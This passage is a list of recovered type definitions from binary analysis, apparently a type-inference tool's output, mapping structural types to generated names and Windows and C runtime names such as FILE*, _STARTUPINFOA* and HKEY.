40 ptr(struct(8:num32_t,12:ptr(struct(0:array(reg8_t,24),24:int32_t)),16:ptr(struct(320:ptr(TOP),324:int32_t,328:ptr(TOP))))) "Struct_885*"
41 ptr(struct(320:ptr(TOP),324:int32_t,328:ptr(TOP))) "Struct_882*"
42 ptr(struct(0:array(reg8_t,24),24:int32_t)) "StructFrag_490*"
43 ptr(struct(0:int32_t,4:ptr(TOP),4294967292:ptr(TOP))) "Struct_884*"
44 union(ptr(TOP),ptr(struct(8:num32_t,12:ptr(struct(0:array(reg8_t,24),24:int32_t)),16:ptr(struct(320:ptr(TOP),324:int32_t,328:ptr(TOP)))))) "Union_231"
45 ptr(struct(0:array(reg8_t,67),67:num8_t)) "StructFrag_2*"
46 ptr(struct(0:reg32_t,4:reg32_t,12:ptr(TOP),16:ptr(TOP))) "Struct_878*"
47 ptr(struct(0:array(reg8_t,536870908),4294967292:num32_t)) "StructFrag_287*"
48 ptr(uint8_t) "unsigned char*"
49 union(ptr(num8_t),uint32_t) "Union_207"
50 ptr(array(reg8_t,19)) "unknown_152*"
51 ptr(struct(152:reg32_t,156:reg32_t,160:ptr(num8_t),164:ptr(num8_t),168:ptr(num8_t),172:reg32_t)) "Struct_805*"
13 ptr(ptr(num8_t)) "char**"
17 ptr(num32_t) "int[]"
52 ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))) "FILE*"
21 ptr(reg32_t) "dword[]"
53 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(num8_t)) "Union_31"
54 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(num8_t),ptr(reg32_t)) "Union_208"
55 ptr(struct(0:reg32_t,4:reg32_t,8:ptr(TOP),12:reg16_t)) "Struct_837*"
56 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t) "Union_28"
6 ptr(num8_t) "char[]"
2 ptr(TOP) "PVOID"
57 ptr(struct(0:reg32_t,4:reg32_t,8:ptr(struct(0:reg32_t,4:reg32_t,8:ptr(TOP),12:ptr(TOP),16:reg32_t,20:array(uint32_t,15))),12:ptr(TOP),16:reg32_t,20:array(uint32_t,15))) "EXCEPTION_RECORD*"
58 ptr(struct(12:ptr(TOP),16:reg32_t)) "Struct_865*"
59 union(reg32_t,uint32_t) "Union_229"
60 ptr(struct(0:reg64_t,8:num8_t)) "StructFrag_167*"
26 num8_t "CHAR"
61 ptr(struct(8:ptr(TOP),12:reg32_t)) "Struct_305*"
62 num64_t "long long"
63 ptr(struct(0:array(reg8_t,536870908),4294967292:uint32_t)) "StructFrag_458*"
64 union(code_t,ptr(TOP)) "Union_216"
65 union(num32_t,ptr(num32_t)) "Union_209"
66 ptr(struct(0:reg32_t,24:ptr(struct(8:ptr(TOP),12:reg32_t)))) "Struct_306*"
17 ptr(num32_t) "int*"
67 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(num8_t),ptr(reg16_t)) "Union_228"
0 code_t "(LCID,DWORD,_In_ SYSTEMTIME*,_In_ CHAR*,_Inout_ LPSTR,int -ms-> int)*"
68 ptr(struct(152:ptr(num8_t),156:ptr(num8_t),160:ptr(num8_t),164:ptr(num8_t),168:ptr(num8_t),172:reg32_t)) "Struct_807*"
69 union(ptr(num32_t),ptr(reg32_t)) "Union_210"
70 ptr(num16_t) "short*"
71 ptr(struct(0:reg32_t,4:ptr(TOP),8:reg32_t)) "_SECURITY_ATTRIBUTES*"
0 code_t "(_Inout_ LPVOID -ms-> DWORD)*"
21 ptr(reg32_t) "LPDWORD"
72 ptr(struct(0:reg32_t,4:struct(0:reg32_t,4:reg32_t),12:struct(0:reg32_t,4:reg32_t),20:struct(0:reg32_t,4:reg32_t),28:reg32_t,32:reg32_t,36:reg32_t,40:reg32_t,44:array(num8_t,260),304:array(num8_t,14))) "_WIN32_FIND_DATAA*"
73 ptr(struct(0:uint32_t,4:array(reg8_t,2),6:array(reg8_t,12))) "_cpinfo*"
74 ptr(struct(0:num32_t,4:num32_t)) "tagPOINT*"
75 ptr(struct(0:reg16_t,2:reg16_t,4:reg16_t,6:reg16_t,8:reg16_t,10:reg16_t,12:reg16_t,14:reg16_t)) "SYSTEMTIME*"
75 ptr(struct(0:reg16_t,2:reg16_t,4:reg16_t,6:reg16_t,8:reg16_t,10:reg16_t,12:reg16_t,14:reg16_t)) "_SYSTEMTIME*"
76 ptr(struct(0:reg32_t,4:reg32_t)) "_FILETIME*"
77 ptr(struct(0:reg32_t,4:ptr(num8_t),8:ptr(num8_t),12:ptr(num8_t),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:reg32_t,40:reg32_t,44:reg32_t,48:reg16_t,50:reg16_t,52:ptr(reg8_t),56:reg32_t,60:reg32_t,64:reg32_t)) "_STARTUPINFOA*"
78 ptr(struct(0:union(reg32_t,struct(0:reg16_t,2:reg16_t)),4:reg32_t,8:ptr(TOP),12:ptr(TOP),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg16_t,34:reg16_t)) "_SYSTEM_INFO*"
79 ptr(struct(0:num32_t,4:array(uint16_t,32),68:struct(0:reg16_t,2:reg16_t,4:reg16_t,6:reg16_t,8:reg16_t,10:reg16_t,12:reg16_t,14:reg16_t),84:num32_t,88:array(uint16_t,32),152:struct(0:reg16_t,2:reg16_t,4:reg16_t,6:reg16_t,8:reg16_t,10:reg16_t,12:reg16_t,14:reg16_t),168:num32_t)) "_TIME_ZONE_INFORMATION*"
80 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:array(num8_t,128))) "_OSVERSIONINFOA*"
81 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t)) "_MEMORYSTATUS*"
21 ptr(reg32_t) "LPHANDLE"
82 ptr(struct(0:reg32_t,4:uint32_t,8:uint32_t,12:num32_t,16:reg32_t,20:struct(0:num32_t,4:num32_t))) "tagMSG*"
3 reg32_t "HWND"
83 ptr(union(num64_t,struct(0:reg32_t,4:num32_t))) "Union_13*"
84 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t)) "_OVERLAPPED*"
3 reg32_t "HKEY"
21 ptr(reg32_t) "PHKEY"
85 union(ptr(num8_t),ptr(reg8_t)) "Union_9"
86 ptr(struct(0:reg32_t,4:reg32_t,8:ptr(TOP),12:ptr(TOP),16:reg32_t,20:array(uint32_t,15))) "_EXCEPTION_RECORD*"
0 code_t "(DWORD -ms-> BOOL)*"
87 ptr(struct(0:ptr(TOP),4:ptr(TOP),8:reg32_t,12:uint32_t,16:reg32_t,20:reg32_t,24:reg32_t)) "_MEMORY_BASIC_INFORMATION*"
27 ptr(reg16_t) "word*"
88 ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t))) "Struct_280*"
0 code_t "(void -> void)*"
89 union(ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),reg32_t) "Union_33"
90 ptr(struct(4:union(ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),reg32_t),20:reg32_t)) "Struct_353*"
91 union(ptr(TOP),num32_t) "Union_14"
92 ptr(struct(0:struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t)),16:reg32_t)) "Struct_354*"
93 array(reg8_t,289) "unknown_2312"
94 array(reg8_t,21) "unknown_168"
95 array(reg8_t,280) "unknown_2240"
96 array(reg8_t,1700) "unknown_13600"
97 array(reg8_t,69) "unknown_552"
98 array(reg8_t,32) "unknown_256"
99 array(reg8_t,20) "unknown_160"
100 array(reg8_t,2863) "unknown_22904"
101 union(code_t,ptr(num8_t)) "Union_1"
102 ptr(array(reg8_t,48)) "unknown_384*"
103 union(struct(0:ptr(TOP)),ptr(struct(0:ptr(TOP))),ptr(ptr(struct(0:ptr(TOP)))),ptr(ptr(ptr(struct(0:ptr(TOP)))))) "Union_34"
104 ptr(ptr(struct(0:reg64_t,8:reg32_t))) "StructFrag_8**"
13 ptr(ptr(num8_t)) "char[][]"
0 code_t "(_In_ void*,_In_ void* -> int)*"
105 ptr(array(reg8_t,21)) "unknown_168*"
0 code_t "(int -> void)*"
106 reg64_t "qword"
107 ptr(int32_t) "signed int*"
108 ptr(uint32_t) "unsigned int*"
17 ptr(num32_t) "time_t*"
109 uint16_t "wchar_t"
110 ptr(struct(0:ptr(struct(196:ptr(TOP),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),308:reg32_t,396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),432:ptr(TOP),436:reg32_t,440:reg32_t,508:reg32_t)),4:num32_t,24:reg32_t,44:num32_t)) "Struct_486*"
111 union(num32_t,ptr(reg32_t)) "Union_179"
112 union(ptr(reg32_t),ptr(num8_t)) "Union_180"
113 union(ptr(num8_t),reg32_t) "Union_11"
114 ptr(struct(0:array(reg8_t,14840),14840:num8_t)) "StructFrag_252*"
115 union(ptr(num8_t),ptr(struct(0:array(reg8_t,14840),14840:num8_t))) "Union_126"
116 array(reg8_t,260) "unknown_2080"
117 ptr(struct(0:array(reg8_t,14842),14842:num8_t)) "StructFrag_250*"
118 union(ptr(num8_t),ptr(struct(0:array(reg8_t,14842),14842:num8_t))) "Union_125"
119 array(reg8_t,15) "unknown_120"
120 ptr(struct(0:array(reg8_t,84),84:num8_t)) "StructFrag_71*"
27 ptr(reg16_t) "word[]"
121 union(ptr(struct(0:reg64_t,8:reg32_t)),ptr(ptr(struct(0:reg64_t,8:reg32_t))),struct(0:ptr(TOP)),ptr(struct(0:ptr(TOP))),ptr(ptr(struct(0:ptr(TOP)))),ptr(ptr(ptr(struct(0:ptr(TOP)))))) "Union_15"
122 ptr(ptr(struct(0:reg32_t,4:code_t))) "StructFrag_0**"
123 array(reg8_t,16) "unknown_128"
124 ptr(ptr(struct(0:reg64_t,8:code_t))) "StructFrag_47**"
125 ptr(struct(0:array(reg8_t,3640),3640:num8_t)) "StructFrag_164*"
126 ptr(struct(8:ptr(ptr(struct(0:reg64_t,8:code_t))),12:ptr(ptr(struct(0:reg32_t,4:code_t))),64:reg32_t,8832:reg32_t,8836:reg32_t,8840:reg32_t,8844:reg32_t)) "Struct_788*"
127 ptr(struct(0:array(reg8_t,48),48:code_t)) "StructFrag_10*"
128 ptr(struct(0:ptr(struct(0:array(reg8_t,4192),4192:reg32_t)),4:ptr(struct(0:array(reg8_t,48),48:code_t)),20:ptr(TOP))) "Struct_818*"
129 ptr(struct(0:array(reg8_t,4204),4204:reg32_t)) "StructFrag_163*"
130 ptr(struct(20:ptr(TOP),24:reg32_t)) "Struct_251*"
131 ptr(struct(0:array(reg8_t,40),40:num8_t)) "StructFrag_16*"
132 ptr(struct(0:ptr(struct(0:reg32_t,4:reg32_t)),4:ptr(TOP),8:reg32_t)) "Struct_440*"
133 union(uint32_t,uint32_t) "Union_56"
134 ptr(struct(0:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),6372:reg32_t)) "Struct_795*"
135 array(reg8_t,36) "unknown_288"
136 union(ptr(num8_t),num32_t,ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t)),ptr(struct(0:array(reg8_t,2344),2344:num8_t))) "Union_117"
137 union(ptr(struct(0:reg64_t,8:reg32_t)),ptr(ptr(struct(0:reg64_t,8:reg32_t))),struct(0:ptr(TOP)),ptr(struct(0:ptr(TOP))),ptr(ptr(struct(0:ptr(TOP)))),ptr(ptr(ptr(struct(0:ptr(TOP))))),ptr(struct(0:reg32_t,4:reg32_t))) "Union_119"
138 ptr(struct(0:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),4:reg32_t)) "Struct_796*"
139 ptr(struct(0:array(reg8_t,6372),6372:reg32_t)) "StructFrag_228*"
140 union(ptr(struct(0:array(reg8_t,40),40:num8_t)),ptr(struct(204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:ptr(TOP),308:ptr(struct(0:array(reg8_t,12),12:code_t)),508:reg32_t))) "Union_102"
141 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(TOP),uint32_t) "Union_100"
142 union(num32_t,ptr(TOP)) "Union_94"
143 union(num32_t,ptr(TOP),ptr(reg32_t),ptr(uint32_t)) "Union_101"
144 ptr(struct(0:ptr(TOP))) "Singleton_0*"
145 ptr(struct(0:array(reg8_t,16),16:array(reg8_t,20))) "StructFrag_453*"
146 ptr(struct(0:array(reg8_t,20),20:reg32_t)) "StructFrag_15*"
147 array(reg8_t,259) "unknown_2072"
148 ptr(array(reg8_t,57)) "unknown_456*"
149 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),int32_t,ptr(num8_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_65"
150 ptr(struct(0:reg64_t,8:uint32_t)) "StructFrag_245*"
151 ptr(ptr(num32_t)) "int[]*"
152 ptr(ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(TOP),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t))) "Struct_149**"
133 union(uint32_t,uint32_t) "Union_184"
153 union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),ptr(TOP),ptr(reg32_t),int32_t,ptr(int32_t),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(struct(4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP))),ptr(ptr(struct(4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP)))),ptr(reg16_t),ptr(ptr(struct(0:ptr(TOP)))),ptr(struct(0:array(reg8_t,24),24:code_t)),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:array(reg8_t,48),48:ptr(TOP))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:code_t))))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:reg64_t,8:code_t)),ptr(ptr(struct(0:reg64_t,8:code_t))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:array(reg8_t,84),84:num8_t)),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:reg32_t,4:ptr(ptr(struct(0:reg32_t,4:code_t))))),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t)),ptr(struct(0:array(reg8_t,3),3:num8_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(0:array(reg8_t,15),15:num8_t)),ptr(struct(8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),32:ptr(TOP))),ptr(struct(0:reg64_t,8:ptr(TOP))),ptr(struct(0:reg16_t,2:reg16_t)),ptr(struct(0:ptr(struct(396:ptr(ptr(TOP)),412:ptr(struct(0:ptr(array(reg8_t,32)),4:code_t)))),4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,3432),3432:num8_t)),4:num32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t)),ptr(struct(0:ptr(code_t),4:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),8:ptr(struct(0:array(reg8_t,396),396:ptr(ptr(array(reg8_t,40))))),12:ptr(ptr(struct(20:code_t,28:code_t,32:code_t))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:uint32_t,300:reg32_t)),ptr(struct(0:ptr(code_t),4:reg32_t,8:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),12:union(ptr(struct(0:array(reg8_t,88),88:ptr(TOP))),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP)))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),300:reg32_t)),ptr(struct(0:union(ptr(struct(0:reg64_t,8:code_t)),ptr(struct(4:code_t,8:code_t))),24:code_t)),ptr(struct(12:reg32_t,16:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),44:ptr(TOP),48:ptr(ptr(TOP)))),ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:code_t,44:code_t,48:ptr(ptr(struct(0:reg32_t,4:code_t))))),ptr(struct(0:reg32_t,4:reg16_t)),ptr(struct(0:ptr(reg16_t),4:ptr(reg16_t),8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(0:ptr(reg16_t),4:ptr(reg16_t),8:ptr(reg16_t),12:ptr(reg16_t))),ptr(struct(0:ptr(num8_t),1:num8_t)),ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),40:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),44:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))))),ptr(struct(0:array(reg8_t,18776),18776:array(reg8_t,18780))),ptr(struct(0:array(reg8_t,144),144:ptr(ptr(struct(4:ptr(TOP),8:reg32_t,12:ptr(TOP),16:ptr(TOP),28:reg32_t,32:reg32_t,44:reg32_t))))),ptr(struct(4:ptr(ptr(struct(0:reg32_t,4:code_t))),92:ptr(TOP),8828:ptr(TOP))),ptr(struct(76:ptr(struct(0:array(reg8_t,16),16:ptr(TOP))),92:ptr(TOP))),ptr(struct(0:ptr(struct(0:array(reg8_t,4192),4192:reg32_t)),4:ptr(struct(0:array(reg8_t,48),48:code_t)),20:ptr(TOP))),ptr(struct(8:ptr(ptr(struct(0:reg32_t,4:code_t))),16:ptr(struct(0:array(reg8_t,16),16:ptr(TOP))))),ptr(struct(0:ptr(TOP),4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),20:ptr(TOP))),ptr(struct(0:ptr(TOP),4:ptr(TOP),8:ptr(TOP),12:ptr(TOP))),ptr(struct(0:ptr(struct(0:reg32_t,4:ptr(TOP))),8:ptr(TOP),12:reg32_t,16:reg32_t)),ptr(struct(0:array(reg8_t,16),16:struct(0:array(reg8_t,16),16:array(reg8_t,20))))) "Union_225"
154 union(code_t,ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),ptr(TOP),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_149"
155 union(ptr(num8_t),ptr(TOP)) "Union_7"
156 ptr(ptr(struct(0:ptr(TOP)))) "Singleton_0**"
157 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_122"
158 union(struct(0:ptr(TOP)),ptr(struct(0:ptr(TOP))),ptr(ptr(struct(0:ptr(TOP))))) "Union_116"
159 ptr(struct(0:union(struct(0:ptr(TOP)),ptr(struct(0:ptr(TOP))),ptr(ptr(struct(0:ptr(TOP))))),4:reg32_t,8:reg32_t)) "Struct_838*"
160 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(struct(0:array(reg8_t,24),24:code_t)))) "Struct_724*"
161 union(ptr(reg32_t),ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(struct(0:array(reg8_t,24),24:code_t))))) "Union_162"
162 ptr(array(reg8_t,49)) "unknown_392*"
163 union(ptr(reg32_t),ptr(struct(0:reg32_t,4:reg32_t,12:ptr(code_t),16:ptr(struct(0:array(reg8_t,2344),2344:num8_t)))),ptr(struct(0:reg32_t,4:reg32_t,12:ptr(code_t),16:union(ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(TOP),4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),20:reg32_t,72:ptr(TOP))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(TOP),24:reg32_t)),80:reg16_t)),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52))))))))) "Union_153"
164 union(ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t)),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(0:array(reg8_t,2344),2344:num8_t))) "Union_152"
165 ptr(struct(0:array(reg8_t,532),532:num32_t)) "StructFrag_424*"
166 ptr(code_t) "proc**"
76 ptr(struct(0:reg32_t,4:reg32_t)) "StructFrag_7*"
167 ptr(ptr(struct(4:code_t,24:code_t))) "Struct_447**"
168 ptr(ptr(struct(24:code_t,28:code_t))) "Struct_561**"
169 ptr(ptr(struct(8:code_t,24:code_t,28:code_t))) "Struct_461**"
170 ptr(struct(24:ptr(TOP),28:ptr(TOP),32:reg32_t)) "Struct_108*"
171 ptr(struct(4:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),12:ptr(ptr(struct(4:code_t,24:code_t))))) "Struct_446*"
172 ptr(ptr(struct(4:code_t,8:code_t,24:code_t,28:code_t))) "Struct_394**"
173 ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))) "StructFrag_41*"
174 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(24:ptr(TOP),28:ptr(TOP),32:reg32_t))) "Union_57"
175 ptr(struct(0:array(reg8_t,64),64:num8_t)) "StructFrag_43*"
176 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP))))))) "Union_35"
177 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(0:array(reg8_t,2136),2136:num8_t))) "Union_8"
178 ptr(array(reg8_t,99)) "unknown_792*"
